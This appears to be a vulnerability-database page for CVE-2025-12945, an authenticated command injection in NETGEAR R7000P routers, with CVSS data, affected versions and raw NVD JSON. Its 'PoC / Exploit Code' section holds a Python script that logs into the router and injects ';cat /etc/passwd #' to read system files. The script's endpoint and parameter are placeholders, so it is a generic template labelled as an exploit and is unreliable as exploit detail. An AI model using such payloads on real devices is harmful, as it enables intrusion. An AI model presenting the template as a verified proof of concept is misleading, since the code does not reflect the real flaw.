Security Vulnerability Report
中文
CVE-2025-12945 CVSS 7.2 HIGH

CVE-2025-12945

Published: 2025-12-09 17:15:49
Last Modified: 2026-01-16 21:07:15
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

A vulnerability in NETGEAR Nighthawk R7000P routers lets an authenticated admin execute OS command injections due to improper input validation. This issue affects R7000P: through 1.3.3.154.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:r7000p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:r7000p:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR Nighthawk R7000P <= 1.3.3.154

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12945 PoC - NETGEAR R7000P Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys # Target router configuration TARGET_IP = "192.168.1.1" # Change to target router IP USERNAME = "admin" # Change to valid admin username PASSWORD = "password" # Change to valid admin password def exploit_command_injection(): """ Exploit the OS command injection vulnerability in NETGEAR R7000P. The vulnerability allows authenticated admins to inject OS commands through improper input validation in the web management interface. """ login_url = f"http://{TARGET_IP}/login.cgi" cmd_url = f"http://{TARGET_IP}/some_vulnerable_endpoint.cgi" # Identify actual endpoint # Step 1: Authenticate as admin login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject OS command # Example: Read /etc/passwd file injected_command = ";cat /etc/passwd #" exploit_data = { "vulnerable_param": injected_command # Identify actual vulnerable parameter } exploit_response = session.post(cmd_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Command injection successful!") print(f"[+] Response:\n{exploit_response.text}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": print("CVE-2025-12945 - NETGEAR R7000P Command Injection") print("=" * 50) exploit_command_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12945", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2025-12-09T17:15:48.647", "lastModified": "2026-01-16T21:07:14.730", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability in NETGEAR Nighthawk R7000P routers lets an authenticated admin execute OS command injections due to improper input validation. \n\n\n\nThis issue affects R7000P: through 1.3.3.154."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:M/U:Amber", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:r7000p_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.3.154", "matchCriteriaId": "275276F4-8ACC-45C9-A878-D67BDF118FA4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:r7000p:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFE55F4D-E98B-46D3-B870-041141934CD1"}]}]}], "references": [{"url": "https://kb.netgear.com/000070416/December-2025-NETGEAR-Security-Advisory", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/r7000p", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Patch", "Product"]}]}}